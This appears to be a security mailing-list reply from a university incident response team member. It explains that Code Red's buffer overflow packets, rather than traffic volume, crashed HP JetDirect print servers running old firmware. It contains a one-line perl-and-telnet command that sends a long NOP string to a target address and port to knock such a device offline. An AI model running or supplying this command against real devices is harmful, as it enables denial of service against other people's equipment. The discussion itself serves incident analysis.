Trey Valenta wrote: > To the best of my knowledge, HP printer issues from Code Red weren't from > traffic *volume*, but from content. The HTTP commands were causing the > printer's print server software to shut down when running older firmware > versions for the JetDirect interface. Code Red sent buffer owerflow packages. Those packages downed HP Jet Directs with "old" firmware. Following line will do the job: perl -e 'print "\x90"x4097;'|telnet <ip-address> <port> -- -------------------------------------------------------------------- Johan Augustsson Phone: +46 (0)31 773 5361 Incident Response Team Fax: +46 (0)31 773 1087 Göteborg University E-mail: Johan.Augustssonat_private Sweden -------------------------------------------------------------------- ---------------------------------------------------------------------------- This list is provided by the SecurityFocus ARIS analyzer service. For more information on this free incident handling, management and tracking system please see: http://aris.securityfocus.com
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